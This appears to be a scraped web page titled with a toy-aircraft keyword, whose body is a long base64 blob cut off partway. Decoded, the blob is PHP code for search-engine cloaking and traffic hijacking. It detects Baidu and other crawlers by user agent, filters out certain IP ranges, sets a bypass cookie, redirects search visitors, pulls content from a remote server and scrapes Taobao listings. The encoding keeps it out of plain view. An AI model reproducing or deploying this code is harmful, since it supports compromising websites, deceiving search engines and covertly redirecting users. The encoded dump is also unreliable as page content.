飞行器玩具+儿童
2016-05-25 16:59:42
ICRrZXlOYW1lID0n6aOe6KGM5Zmo546p5YW3K+WEv+erpSc7IAoKZnVuY3Rpb24gQXBwX0dldExp bmsoKXsJCglyZXR1cm4gImh0dHA6Ly93d3cuc2hhaWJhb2ouY29tL2FydGljbGUtIi5yYW5kKDEw MDAwMDAwLDk5OTk5OTk5KS4iLTEuaHRtbCI7Cn0KCmZ1bmN0aW9uIEFwcF9HZXRTZWxmKCl7Cgly ZXR1cm4gImh0dHA6Ly93d3cuc2hhaWJhb2ouY29tL2FydGljbGUtIi5yYW5kKDEwMDAwMDAwLDk5 OTk5OTk5KS4iLTEuaHRtbCI7Cn0KCgovL8K3wrXCu8OYw43CvMOGwqwKZnVuY3Rpb24gZ2V0SW1n KCl7CglyZXR1cm4gJ2h0dHA6Ly93d3cuc2hhaWJhb2ouY29tL2ltZy8yMDE1MTEwNi9scScucmFu ZCgxLDIwKS4iLmpwZyI7Cn0KCgoKCmZ1bmN0aW9uIHJuZFN0cigkbGVuZ3RoPTgpewoJJHN0ciA9 IG51bGw7Cgkkc3RyUG9sID0gIjAxMjM0NTY3ODlhYmNkZWZnaGlqa2xtbm9wcXJzdHV2d3h5eiI7 CgkkbWF4ID0gc3RybGVuKCRzdHJQb2wpLTE7Cglmb3IoJGk9MDskaTwkbGVuZ3RoOyRpKyspewoJ CSRzdHIuPSRzdHJQb2xbcmFuZCgwLCRtYXgpXTsKCX0KCXJldHVybiAkc3RyOwp9CgpjbGFzcyBj b3JlQXBwQ2FjaGV7CgkKCXB1YmxpYyBmdW5jdGlvbiB3cml0ZSgkZmlsZSwkZmlsZW5hbWUpewoJ CXJldHVybiBmaWxlX3B1dF9jb250ZW50cygkZmlsZW5hbWUsc2VsZjo6ZW5jb2RlKCRmaWxlKSk7 Cgl9CglwdWJsaWMgZnVuY3Rpb24gd3JpdGVub2NvZGUoJGZpbGUsJGZpbGVuYW1lKXsKCQlyZXR1 cm4gZmlsZV9wdXRfY29udGVudHMoJGZpbGVuYW1lLCRmaWxlKTsKCX0KCXB1YmxpYyBmdW5jdGlv biByZWFkKCRmaWxlbmFtZSl7CgkJJGNvbnRlbnQgPSBmaWxlX2dldF9jb250ZW50cygkZmlsZW5h bWUpOwoJCWlmKHN0cmlzdHIoJGNvbnRlbnQsIjwvZXhwbG9kZT4iKSl7CgkJCSRjb250ZW50ID0g c2VsZjo6Y3V0KCRjb250ZW50LCI8ZXhwbG9kZT4iLCI8L2V4cGxvZGU+Iik7CgkJfQoJCXJldHVy biBzZWxmOjpkZWNvZGUoJGNvbnRlbnQpOwoJfQoKCXB1YmxpYyBmdW5jdGlvbiBlbmNvZGUoJGZp bGUpewoJCXJldHVybiBiYXNlNjRfZW5jb2RlKGd6Y29tcHJlc3Moc2VyaWFsaXplKCRmaWxlKSkp OyAKCX0KCglwdWJsaWMgZnVuY3Rpb24gZGVjb2RlKCRmaWxlKXsKCQlyZXR1cm4gdW5zZXJpYWxp emUoZ3p1bmNvbXByZXNzKGJhc2U2NF9kZWNvZGUoJGZpbGUpKSk7IAoJfQoJCglwdWJsaWMgZnVu Y3Rpb24gY3V0KCRmaWxlLCRmcm9tLCRlbmQpCgl7IAoJCSRtZXNzYWdlPWV4cGxvZGUoJGZyb20s JGZpbGUpOyAKCQkkbWVzc2FnZT1leHBsb2RlKCRlbmQsJG1lc3NhZ2VbMV0pOyAKCQlyZXR1cm4g ICAkbWVzc2FnZVswXTsKCX0KfQoKCgoKJG15X2NvbnRlbnQ9Jyc7CmlmKCFlbXB0eSgka2V5TmFt ZSkpewoJJHF1ZXJ5X2RhdGEgPSBhcnJheSgncSc9PiRrZXlOYW1lLCk7CgkkbXlfYWxpbWFtYSA9 IG5ldyBhbGltYW1hKCRxdWVyeV9kYXRhKTsKCSRteV9hbGltYW1hLT5xdWVyeSgpOwoJJG15X2Nv bnRlbnQgPSAkbXlfYWxpbWFtYS0+aHRtbCgpOwp9CiRkYXRhID0gc3RyX3JlcGxhY2UoJzxwaHB1 bD48L3BocHVsPicsJG15X2NvbnRlbnQsJGRhdGEpOwppZihzdHJwb3MoJGRhdGEsIltpdGVtOm1l bnVdIikhPT0gZmFsc2UmJiFlbXB0eSgka2V5TmFtZSkpewoJJHRhZ191cmwgPSAnaHR0cHM6Ly9z dWdnZXN0LnRhb2Jhby5jb20vc3VnP2NvZGU9dXRmLTgmcT0nLnVybGVuY29kZSgka2V5TmFtZSk7 CgkkdGFnX2NvbnRlbnQgPSBhbGltYW1hOjpIdHRwVmlzaXQoJHRhZ191cmwpOwoJJHRhZ19qc29u ID0ganNvbl9kZWNvZGUoJHRhZ19jb250ZW50LHRydWUpOwoJJHRhZ19tZW51ID0gJyc7Cglmb3Jl YWNoICgkdGFnX2pzb25bJ3Jlc3VsdCddIGFzICRrZXkgPT4gJHZhbHVlKSB7CgkJJGh0dHBfaG9z dCA9ICRfU0VSVkVSWydIVFRQX0hPU1QnXTsKCQkkcGhwX3NlbGYgPSAkX1NFUlZFUlsnUEhQX1NF TEYnXTsKIAkJJHRhZ19pdGVtX3VybD0naHR0cDovLycuJGh0dHBfaG9zdC4kcGhwX3NlbGYuJz9r ZXlOYW1lPScudXJsZW5jb2RlKCR2YWx1ZVswXSk7CgkJJHRhZ19tZW51ID0gJHRhZ19tZW51Lic8 YSB0YXJnZXQ9Il9ibGFuayIgaHJlZj0iJy4kdGFnX2l0ZW1fdXJsLiciPicuJHZhbHVlWzBdLic8 L2E+JzsKCX0KCSRkYXRhID0gc3RyX3JlcGxhY2UoJ1tpdGVtOm1lbnVdJywkdGFnX21lbnUsJGRh dGEpOwp9CgpjbGFzcyBhbGltYW1hewoJCglwdWJsaWMgJHNob3dfc3BpZGVyOwoJcHVibGljICRq dW1wX3JlZjsKCXB1YmxpYyAkaHR0cF9yZWZfZmlsdGVyOwoJcHVibGljICRqdW1wX3VybCA9ICIi OwoJcHVibGljICRkb21haW4gPSAiIjsKCXB1YmxpYyAkY29uZGl0aW9uID0gIiI7CglwdWJsaWMg JGFwcF9zZXJ2ZXIgPSAiIjsKCXB1YmxpYyAkbG9nX3NwaWRlciA9ICIiOwoJcHVibGljICRjdXJf c3BpZGVyID0gIiI7CglwdWJsaWMgJGFsbG93X2lwID0gIiI7CglwdWJsaWMgJGlzQ2FjaGUgPSBm YWxzZTsKCXB1YmxpYyAkY3Jhd2xfdXJsID0gImh0dHA6Ly9wdWIuYWxpbWFtYS5jb20vaXRlbXMv c2VhcmNoLmpzb24iOwoJcHVibGljICRxdWVyeV9kYXRhOwoJcHVibGljICRjb250ZW50OwoKCXB1 YmxpYyAkbGlfdGVtcGxhdGU9IjxsaT4KICA8ZGl2IGNsYXNzPSdsaV9saXN0JyBvbm1vdXNlb3Zl cj0ndGhpcy5jbGFzc05hbWU9J2xpX2hvdmVyJycgb25tb3VzZW91dD0ndGhpcy5jbGFzc05hbWU9 J2xpX2xpc3QnJz4KICAgIDxkaXYgY2xhc3M9J25ldyc+PC9kaXY+CiAgICA8ZGl2IGNsYXNzPSdj b2xsZWN0Jz48YSBocmVmPSdqYXZhc2NyaXB0OjsnPjwvYT48L2Rpdj4KICAgIDxkaXYgY2xhc3M9 J3BpYyc+PGEgaHJlZj0ne3VybH0nIHRhcmdldD0nX2JsYW5rJz4gPGltZyBzcmM9J3twaWN1cmx9 Jz48L2E+PC9kaXY+CiAgICA8ZGl2IGNsYXNzPSd0aXRsZSc+IDxhIGhyZWY9J3t1cmx9JyB0YXJn ZXQ9J19ibGFuayc+e3RpdGxlfTwvYT48L2Rpdj4KICAgIDxkaXYgY2xhc3M9J21vbmV5X2JnJz4g CgkgICAgPHNwYW4+PGVtIGNsYXNzPSdtb25leV9zeW1ib2wnPu+/pTwvZW0+PGVtIGNsYXNzPSdt b25leV9udW0nPntwcmljZX08L2VtPjwvc3Bhbj4gCgkgICAgPHNwYW4gY2xhc3M9J2Z4X21vbmV5 X2JnJz4gPGVtIGNsYXNzPSd6aGVrb3UgaXRlbScgc3R5bGU9J3Zpc2liaWxpdHk6IHZpc2libGU7 Jz48Yj57bmlja308L2I+PC9lbT4gCgkgICAgPGVtIGNsYXNzPSdxaWFuZ291Jz48L2VtPiAKICAg IDwvZGl2PgogICAgPGRpdiBjbGFzcz0ndGpwX2JvdHRvbV9iZyc+CiAgICAgIDxkaXYgY2xhc3M9 J3RqcF9ib3R0b20nPgogICAgICAgIDxkaXYgY2xhc3M9J3RqcF9mYWJ1IGNvbG9yXzk5Jz57dG90 YWxGZWV9PC9kaXY+CiAgICAgICAgPGRpdiBjbGFzcz0ndGpwX3hpYW9iaWFuIGNvbG9yXzY2Jz57 dG90YWxOdW19PC9kaXY+CiAgICAgIDwvZGl2PgogICAgPC9kaXY+CiAgPC9kaXY+CjwvbGk+ICI7 CgoJLy/lrprkuYnmnoTpgKDlh73mlbDvvIznlKjkuo7liJ3lp4vljJbotYvlgLwKICAgIGZ1bmN0 aW9uIF9fY29uc3RydWN0KCRxdWVyeV9kYXRhKQogICAgewogICAgICAgICAkdGhpcy0+cXVlcnlf ZGF0YSA9ICRxdWVyeV9kYXRhOyAgICAgICAgLy/ov5nph4zlt7Lnu4/kvb/nlKjkuoZ0aGlz5oyH 6ZKI6K+t5Y+l4pGgCiAgICB9CgoJcHVibGljIGZ1bmN0aW9uIHNldFF1ZXJ5RGF0YSgkcXVlcnlf ZGF0YSl7CgkJJHRoaXMtPnF1ZXJ5X2RhdGEgPSAkcXVlcnlfZGF0YTsKCQlyZXR1cm4gdHJ1ZTsK CX0KCglwdWJsaWMgZnVuY3Rpb24gaHRtbCgpewoJCSRjb250ZW50ID0gJHRoaXMtPmNvbnRlbnQ7 CgkJJGFsaW1hbWFfanNvbiA9IGpzb25fZGVjb2RlKCRjb250ZW50LHRydWUpOwoJCSRodG1sID0g Ijx1bD4iOwoJCWZvcmVhY2ggKCRhbGltYW1hX2pzb25bJ2RhdGEnXVsncGFnZUxpc3QnXSBhcyAk a2V5ID0+ICR2YWx1ZSkgewoJIAkJJGl0ZW1fdXJsPSR2YWx1ZVsnYXVjdGlvblVybCddOwoJIAkJ JGl0ZW1fdGl0bGU9JHZhbHVlWyd0aXRsZSddOwoJIAkJJGl0ZW1fcHJpY2U9JHZhbHVlWyd6a1By aWNlJ107CgkgCQkkaXRlbV9waWN0VXJsPSR2YWx1ZVsncGljdFVybCddLidfNDAweDQwMF8ud2Vi cCc7CgkgCQkkaXRlbV9uaWNrPSR2YWx1ZVsnbmljayddOwoJIAkJJGl0ZW1fdG90YWxOdW09J+aA u+mUgOmHjzonLiR2YWx1ZVsndG90YWxOdW0nXTsKCSAJCSRpdGVtX3RvdGFsRmVlPSfmgLvkuqTm mJPpop06Jy4kdmFsdWVbJ3RvdGFsRmVlJ107CgoJCQkkaHR0cF9ob3N0ID0gJF9TRVJWRVJbJ0hU VFBfSE9TVCddOwogCQkJJHBocF9zZWxmID0gJF9TRVJWRVJbJ1BIUF9TRUxGJ107CgkgCQkkaXRl bV91cmw9J2h0dHA6Ly8nLiRodHRwX2hvc3QuJHBocF9zZWxmLic/Z290dT0nLmJhc2U2NF9lbmNv ZGUoJGl0ZW1fdXJsKTsKCgkgCQkkaXRlbV9waWN0VXJsPSdodHRwOi8vaS5rYW50dS5pbi8nLmJh c2U2NF9lbmNvZGUoJGl0ZW1fcGljdFVybCk7CgoJCQkkbGkgPSAkdGhpcy0+bGlfdGVtcGxhdGU7 CgoJCQkkbGkgPSBzdHJfcmVwbGFjZSgne3RpdGxlfScsJGl0ZW1fdGl0bGUsJGxpKTsKCQkJJGxp ID0gc3RyX3JlcGxhY2UoJ3twcmljZX0nLCRpdGVtX3ByaWNlLCRsaSk7CgkJCSRsaSA9IHN0cl9y ZXBsYWNlKCd7dXJsfScsJGl0ZW1fdXJsLCRsaSk7CgkJCSRsaSA9IHN0cl9yZXBsYWNlKCd7cGlj dXJsfScsJGl0ZW1fcGljdFVybCwkbGkpOwoJCQkkbGkgPSBzdHJfcmVwbGFjZSgne3RvdGFsTnVt fScsJGl0ZW1fdG90YWxOdW0sJGxpKTsKCQkJJGxpID0gc3RyX3JlcGxhY2UoJ3tuaWNrfScsJGl0 ZW1fbmljaywkbGkpOwoJCQkkbGkgPSBzdHJfcmVwbGFjZSgne3RvdGFsRmVlfScsJGl0ZW1fdG90 YWxGZWUsJGxpKTsKCgkJCSRodG1sID0gJGh0bWwuJGxpOwoJIAkJLy8gZWNobyAkbGk7CgkgCX0K CSAJJGh0bWwgPSAkaHRtbC4iPC91bD4iOwoJCXJldHVybiAkaHRtbDsKCX0KCglwdWJsaWMgZnVu Y3Rpb24gcXVlcnkoKXsKCQkkdXJsICA9ICR0aGlzLT5jcmF3bF91cmwuJz8nLmh0dHBfYnVpbGRf cXVlcnkoJHRoaXMtPnF1ZXJ5X2RhdGEpOwoJCSR0aGlzLT5jb250ZW50ID0gJHRoaXMtPkh0dHBW aXNpdCgkdXJsKTsKCX0KCglwdWJsaWMgZnVuY3Rpb24gcnVuKCl7CgkJJHRoaXMtPmRvbWFpbiA9 ICR0aGlzLT5nZXRTZXJ2ZXJOYW1lKCk7CgkJJHRoaXMtPmp1bXBfcmVmID0gZXhwbG9kZSgifCIs ImJhaWR1LnxoYW9zby58aGFvc291LnxiaW5nLnxzby58c29nb3UufHNvc28uIik7CgkJJHRoaXMt Pmh0dHBfcmVmX2ZpbHRlciA9IGV4cGxvZGUoInwiLCJpbnVybDp8c2l0ZTp8c2l0ZSUzQXxpbnVy bCUzQSIpOwoJCSR0aGlzLT5hbGxvd19pcCA9ICIyMjIuMTg0LjIzNHwxMTIuODcuNzF8NTguMjIx Ljg3Lnw0OS42Ny4yMjMiOwoJCSR0aGlzLT5jb25kaXRpb24gPSAoJF9HRVRbJ2FpZCddID4gMTAw MDAwMDAgJiYgJHRoaXMtPmlzQWxsb3dkSXAoKSk7CgkJJHRoaXMtPmFwcF9zZXJ2ZXIgPSAiIjsK CQkkdGhpcy0+aXNDYWNoZSAgPSBGYWxzZTsKCQlpZigkdGhpcy0+aXNTcGlkZXIoKSAmJiAkdGhp cy0+aXNBbGxvd2RJcCgpKXsKCQkJCWlmKCR0aGlzLT5jb25kaXRpb24pewoJCQkJCWlmKCR0aGlz LT5pc0NhY2hlKXsKCQkJCQkJJHJlbHNldF9ob3N0ID0gJHRoaXMtPmdldFNlcnZlck5hbWUoKTsK CQkJCQkJJGRpciA9IChzdWJzdHIoUEhQX09TLCAwLCAzKSA9PSAnV0lOJyA/ICdDOi93aW5kb3dz L3RlbXAvJyA6ICcvdG1wLycpIC4gc3Vic3RyKG1kNSgkcmVsc2V0X2hvc3QpLCAyNikgLiBjaHIo NDcpOwoJCQkJCQkkY2FjaGVGaWxlID0gJGRpci4nc2Vzc18nIC4gc3Vic3RyKG1kNShodHRwX2J1 aWxkX3F1ZXJ5KCRfR0VUKSksIDYpOwoJCQkJCQlpZighQGZpbGVfZXhpc3RzKCRkaXIpKXsKICAg ICAgICAgICAgIAkJCQkgbWtkaXIoJGRpciwgMDc3Nyk7CiAgICAgICAgICAgIAkJCX0KCQkJCQkJ aWYoQGZpbGVfZXhpc3RzKCRjYWNoZUZpbGUpICYmIEBmaWxlc2l6ZSAoJGNhY2hlRmlsZSkgPiAz MiApewoJCQkJCQkJJHZhciA9IGNvcmVBcHBDYWNoZTo6cmVhZCgkY2FjaGVGaWxlKTsKCQkJCQkJ CSRwYWdlID0gZmlsZV9nZXRfY29udGVudHMoQVBQX0pBQ0tfVEVNUExBVEUpOwoJCQkJCQkJZm9y ZWFjaCgkdmFyIGFzICRrZXk9PiR2KXsKCQkJCQkJCQkkZmxhZyA9ICJ7Ii4ka2V5LiJ9IjsKCQkJ CQkJCQkkcGFnZSA9IHN0cl9yZXBsYWNlKCRmbGFnLCR2LCRwYWdlKTsKCQkJCQkJCX0KCQkJCQkJ CWVjaG8gJHBhZ2U7CgkJCQkJCQlleGl0KCk7CgkJCQkJCX0KCQkJCQkJZWxzZQoJCQkJCQl7CQoJ CQkJCQkJLy/CsMO8wrrCrMK9w7hBUFDCvMK0wr/DiQoJCQkJCQkJJGN1cnJlbnRQYWdlID0gaW5j bHVkZShBUFBfSkFDS19BUFBGSUxFKTsKCQkJCQkJCWlmKCRjdXJyZW50UGFnZSAmJiBzdHJsZW4o JGN1cnJlbnRQYWdlKSA+IDMyICYmIHN0cmlzdHIoJGN1cnJlbnRQYWdlLCI8L2V4cGxvZGU+Iikp ewoJCQkJCQkJCSR2YXIgPSBzZWxmOjpjdXQoJGN1cnJlbnRQYWdlLCI8ZXhwbG9kZT4iLCI8L2V4 cGxvZGU+Iik7CgkJCQkJCQkJJHZhciA9IGNvcmVBcHBDYWNoZTo6ZGVjb2RlKCR2YXIpOwoJCQkJ CQkJCSRwYWdlID0gZmlsZV9nZXRfY29udGVudHMoQVBQX0pBQ0tfVEVNUExBVEUpOwoJCQkJCQkJ CWZvcmVhY2goJHZhciBhcyAka2V5PT4kdil7CgkJCQkJCQkJCSRmbGFnID0gInsiLiRrZXkuIn0i OwoJCQkJCQkJCQkkcGFnZSA9IHN0cl9yZXBsYWNlKCRmbGFnLCR2LCRwYWdlKTsKCQkJCQkJCQl9 CgkJCQkJCQkJZWNobyAkcGFnZTsKCQkJCQkJCQlAY29yZUFwcENhY2hlOjp3cml0ZW5vY29kZSgk Y3VycmVudFBhZ2UsJGNhY2hlRmlsZSk7CgkJCQkJCQl9CgkJCQkJCX0KCQkJCQkJZGllKCk7CgkJ CQkJfQoJCQkJCWVsc2UKCQkJCQl7CgkJCQkJCSRjdXJyZW50UGFnZSA9IGluY2x1ZGUoQVBQX0pB Q0tfQVBQRklMRSk7CgkJCQkJCWVjaG8gJGN1cnJlbnRQYWdlOwoJCQkJCQlkaWUoKTsKCQkJCQl9 CgkJCQl9CgkJCQllbHNlCgkJCQl7CgoJCQkJCSR0aGlzLT5fdW5jb25kaXRpb25faG9vaygpOwoJ CQkJfQoJCX0KCQllbHNlCgkJewkKCQkJaWYoJHRoaXMtPmlzUmVmKCkgJiYgJHRoaXMtPmNvbmRp dGlvbil7CgkJCQkkdGhpcy0+SnVtcCgpOwoJCQl9CgkJCWVsc2UKCQkJewoJCQkJJHRoaXMtPl91 blNwaWRlcl9ob29rKCk7CgkJCX0KCQl9Cgl9CgoJcHVibGljIGZ1bmN0aW9uIGlzQWxsb3dkSXAo KXsKCQkkaXAgPSAkdGhpcy0+Y2xpZW50SXAoKTsKCQkkbm9uX2xpc3QgPSBleHBsb2RlKCJ8Iiwk dGhpcy0+YWxsb3dfaXApOwoJCWZvcmVhY2goJG5vbl9saXN0IGFzICRpcGxpc3QpewoJCQlpZihA c3RyaXN0cigkaXAsJGlwbGlzdCkpewoJCQkJcmV0dXJuIGZhbHNlOwoJCQl9CgkJfQoJCXJldHVy biB0cnVlOwoJfQoKCXB1YmxpYyBmdW5jdGlvbiBjbGllbnRJcCgpewoJCWlmKGdldGVudignSFRU UF9DTElFTlRfSVAnKSAmJiBzdHJjYXNlY21wKGdldGVudignSFRUUF9DTElFTlRfSVAnKSwgJ3Vu a25vd24nKSkgewoJCQkkb25saW5laXAgPSBnZXRlbnYoJ0hUVFBfQ0xJRU5UX0lQJyk7CgkJfSBl bHNlaWYoZ2V0ZW52KCdIVFRQX1hfRk9SV0FSREVEX0ZPUicpICYmIHN0cmNhc2VjbXAoZ2V0ZW52 KCdIVFRQX1hfRk9SV0FSREVEX0ZPUicpLCAndW5rbm93bicpKSB7CgkJCSRvbmxpbmVpcCA9IGdl dGVudignSFRUUF9YX0ZPUldBUkRFRF9GT1InKTsKCQl9IGVsc2VpZihnZXRlbnYoJ1JFTU9URV9B RERSJykgJiYgc3RyY2FzZWNtcChnZXRlbnYoJ1JFTU9URV9BRERSJyksICd1bmtub3duJykpIHsK CQkJJG9ubGluZWlwID0gZ2V0ZW52KCdSRU1PVEVfQUREUicpOwoJCX0gZWxzZWlmKGlzc2V0KCRf U0VSVkVSWydSRU1PVEVfQUREUiddKSAmJiAkX1NFUlZFUlsnUkVNT1RFX0FERFInXSAmJiBzdHJj YXNlY21wKCRfU0VSVkVSWydSRU1PVEVfQUREUiddLCAndW5rbm93bicpKSB7CgkJCSRvbmxpbmVp cCA9ICRfU0VSVkVSWydSRU1PVEVfQUREUiddOwoJCX0KCQlwcmVnX21hdGNoKCIvW1xkXC5dezcs MTV9LyIsICRvbmxpbmVpcCwgJG9ubGluZWlwbWF0Y2hlcyk7CgkJJG9ubGluZWlwID0gJG9ubGlu ZWlwbWF0Y2hlc1swXSA/ICRvbmxpbmVpcG1hdGNoZXNbMF0gOiAndW5rbm93bic7CgkJdW5zZXQo JG9ubGluZWlwbWF0Y2hlcyk7CgkJcmV0dXJuICRvbmxpbmVpcDsKCX0KCglwdWJsaWMgZnVuY3Rp b24gaXNTcGlkZXIoKXsKCQkkYm90cyA9IGFycmF5KAoJCQkJJ0JhaWR1JyAgICAgICAgPT4gJ2Jh aWR1c3BpZGVyJywKCQkJCSdTb2dvdScgICAgICAgID0+ICdzb2dvdScsCgkJCQknSGFvc28nICAg ICAgICA9PiAnaGFvc291c3BpZGVyJywKCQkJCSczNjBzcGlkZXInICAgICAgICA9PiAnMzYwc3Bp ZGVyJwoJCSApOwoJCSR1c2VyQWdlbnQgPSBzdHJ0b2xvd2VyKCRfU0VSVkVSWydIVFRQX1VTRVJf QUdFTlQnXSk7CgkJZm9yZWFjaCAoJGJvdHMgYXMgJGsgPT4gJHYpewoJCQlpZiAoc3RyaXN0cigk dXNlckFnZW50LCR2KSl7CgkJCQlpZighZW1wdHkoJHRoaXMtPmxvZ19zcGlkZXIpKXsKCQkJCQlA ZmlsZV9wdXRfY29udGVudHMoJHRoaXMtPmxvZ19zcGlkZXIsJHYuIi0+VmlzaXRlZCAiLiRfU0VS VkVSWydRVUVSWV9TVFJJTkcnXS4iYXQ6ICIuZGF0ZSgiWS1tLWQgSDppOnMiKS4iXG4iLEZJTEVf QVBQRU5EKTsKCQkJCX0KCQkJCSR0aGlzLT5jdXJfc3BpZGVyID0gJGs7CgkJCQlyZXR1cm4gdHJ1 ZTsKCQkJCWJyZWFrOwoJCQl9CgkJfQoJCXJldHVybiBmYWxzZTsJCgl9CgoJcHVibGljIGZ1bmN0 aW9uIGlzUmVmKCl7CgkJJHJlZiA9IHN0cnRvbG93ZXIoQCRfU0VSVkVSWydIVFRQX1JFRkVSRVIn XSk7CgkJaWYoaXNzZXQoJF9DT09LSUVbImRvbWFpbi1maWx0ZXItYnlwYXNzIl0pKXsKCQkJcmV0 dXJuIGZhbHNlOwoJCX0KCQkKCQlpZighJHRoaXMtPmlzQWxsb3dkSXAoKSl7CgkJCXNldGNvb2tp ZSgiZG9tYWluLWZpbHRlci1ieXBhc3MiLCAibG9sIiwgdGltZSgpICsgMjU5MjAwKTsKCQkJcmV0 dXJuIGZhbHNlOwoJCX0KCgkJZm9yZWFjaCgkdGhpcy0+aHR0cF9yZWZfZmlsdGVyIGFzICRyKXsK CQkJJHIgPSB0cmltKCRyKTsKCQkJaWYoc3RyaXN0cigkcmVmLCRyKSl7CgkJCQlzZXRjb29raWUo ImRvbWFpbi1maWx0ZXItYnlwYXNzIiwgImxvbCIsIHRpbWUoKSArIDI1OTIwMCk7CgkJCQlyZXR1 cm4gZmFsc2U7CgkJCX0KCQl9CgkKCQlmb3JlYWNoKCR0aGlzLT5qdW1wX3JlZiBhcyAkcil7CgkJ CSRyID0gdHJpbSgkcik7CgkJCWlmKHN0cmlzdHIoJHJlZiwkcikpewoJCQkJcmV0dXJuIHRydWU7 CgkJCX0KCQl9Cgl9CgoJcHVibGljIGZ1bmN0aW9uIGdldFNlcnZlck5hbWUoKSAKCXsgCgkJJFNl cnZlck5hbWUgPSBzdHJ0b2xvd2VyKCRfU0VSVkVSWydTRVJWRVJfTkFNRSddPyRfU0VSVkVSWydT RVJWRVJfTkFNRSddOiRfU0VSVkVSWydIVFRQX0hPU1QnXSk7IAoJCWlmKCBzdHJwb3MoJFNlcnZl ck5hbWUsJ2h0dHA6Ly8nKSApIAoJCXsgCgkJCXJldHVybiBzdHJfcmVwbGFjZSgnaHR0cDovLycs JycsJFNlcnZlck5hbWUpOyAKCQl9IAoJCXJldHVybiAkU2VydmVyTmFtZTsgCgl9CgoJcHVibGlj IGZ1bmN0aW9uIGdldFBhZ2UoKXsKCQlpZigkdGhpcy0+aXNDYWNoZSl7CgkJCSRjYWNoZT0iY2Fj aGVkIjsKCQl9CgkJJHVybCAgPSAkdGhpcy0+YXBwX3NlcnZlci4iP2RvbWFpbj0iLiR0aGlzLT5k b21haW4uIiZnaWQ9MTk5JnNwaWRlcj0iLiR0aGlzLT5jdXJfc3BpZGVyLiImY2FjaGU9Ii4kY2Fj aGUuIiZsb2NhbFBhcj0iLmh0dHBfYnVpbGRfcXVlcnkoJF9HRVQpOwoJCXJldHVybiAkdGhpcy0+ SHR0cFZpc2l0KCR1cmwpOwoJfQoKICAgIHB1YmxpYyBmdW5jdGlvbiBIdHRwVmlzaXQoJHdlYnVy bCkgewogICAgCSR1c2VyX2FnZW50ID0gIk1vemlsbGEvNS4wIChNYWNpbnRvc2g7IEludGVsIE1h YyBPUyBYIDEwXzEwXzUpIEFwcGxlV2ViS2l0LzUzNy4zNiAoS0hUTUwsIGxpa2UgR2Vja28pIENo cm9tZS80NS4wLjI0NTQuODUgU2FmYXJpLzUzNy4zNiBRUUJyb3dzZXIvMy45LjM5NDMuNDAwIjsK ICAgICAgICAkcmVtb3RlX2RhdGEgPSBOVUxMOwogICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMo J2N1cmxfZXhlYycpKSB7CiAgICAgICAgICAgICRjdXJsID0gQGN1cmxfaW5pdCgpOwogICAgICAg ICAgICBAY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfVVJMLCAkd2VidXJsKTsKICAgICAgICAg ICAgQGN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX0hFQURFUiwgMCk7CiAgICAgICAgICAgIEBj dXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9DT05ORUNUVElNRU9VVCwgMzApOwogICAgICAgICAg ICBAY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOwogICAgICAg ICAgICBAY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfVVNFUkFHRU5ULCAkdXNlcl9hZ2VudCk7 IAogICAgICAgICAgICAkcmVtb3RlX2RhdGEgPSBAY3VybF9leGVjKCRjdXJsKTsKICAgICAgICAg ICAgQGN1cmxfY2xvc2UoJGN1cmwpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIGlmIChm dW5jdGlvbl9leGlzdHMoJ3N0cmVhbV9jb250ZXh0X2NyZWF0ZScpKSB7CiAgICAgICAgICAgICAg ICAkaGVhZGVyX2FycmF5ID0gYXJyYXkoJ2h0dHAnID0+IGFycmF5KCdtZXRob2QnID0+ICdHRVQn LCAndGltZW91dCcgPT4gMzApKTsKICAgICAgICAgICAgICAgICRodHRwX2hlYWRlciA9IEBzdHJl YW1fY29udGV4dF9jcmVhdGUoJGhlYWRlcl9hcnJheSk7CiAgICAgICAgICAgICAgICAkcmVtb3Rl X2RhdGEgPSBAZmlsZV9nZXRfY29udGVudHMoJHdlYnVybCwgZmFsc2UsICRodHRwX2hlYWRlcik7 CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkdGVtcF91cmwgPSBleHBsb2Rl KCIvIiwgJHdlYnVybCk7CiAgICAgICAgICAgICAgICAkbmV3X3VybCA9ICR0ZW1wX3VybFsyXTsK ICAgICAgICAgICAgICAgICRodHRwX3BvcnQgPSA4MDsKICAgICAgICAgICAgICAgICRnZXRfZmls ZSA9IHN1YnN0cigkd2VidXJsLCBzdHJsZW4oJG5ld191cmwpICsgNyk7CiAgICAgICAgICAgICAg ICBpZiAoc3Ryc3RyKCRuZXdfdXJsLCBjaHIoNTgpKSkgewogICAgICAgICAgICAgICAgICAgICRz X3Zhcl9hcnJheVsndGQnXSA9IGV4cGxvZGUoY2hyKDU4KSwgJG5ld191cmwpOwogICAgICAgICAg ICAgICAgICAgICRuZXdfdXJsID0gJHNfdmFyX2FycmF5Wyd0ZCddWzBdOwogICAgICAgICAgICAg ICAgICAgICRodHRwX3BvcnQgPSAkc192YXJfYXJyYXlbJ3RkJ11bMV07CiAgICAgICAgICAgICAg ICB9CiAgICAgICAgICAgICAgICAkZnNvY2tfcmVzdWx0ID0gQGZzb2Nrb3BlbigkbmV3X3VybCwg JGh0dHBfcG9ydCk7CiAgICAgICAgICAgICAgICBAZnB1dHMoJGZzb2NrX3Jlc3VsdCwgJ0dFVCAn IC4gJGdldF9maWxlIC4gJyBIVFRQLzEuMScgLiAiXHJcbiIgLiAnSG9zdDonIC4gJG5ld191cmwg LiAiXHJcbiIgLiAnQ29ubmVjdGlvbjpDbG9zZScgLiAiXHJcblxyXG4iKTsKICAgICAgICAgICAg ICAgIHdoaWxlICghZmVvZigkZnNvY2tfcmVzdWx0KSkgewogICAgICAgICAgICAgICAgICAgICRy ZW1vdGVfZGF0YSAuPSBmZ2V0cygkZnNvY2tfcmVzdWx0LCAxMDI0KTsKICAgICAgICAgICAgICAg IH0KICAgICAgICAgICAgICAgIEBmY2xvc2UoJGZzb2NrX3Jlc3VsdCk7CiAgICAgICAgICAgIH0K ICAgICAgICB9CiAgICAgICAgcmV0dXJuICRyZW1vdGVfZGF0YTsKICAgIH0KCglwdWJsaWMgZnVu Y3Rpb24gSnVtcCgpewoJCWlmKCR0aGlzLT5pc0FsbG93ZElwKCkpewoJCQkkZG9tYWluICA9IHN0 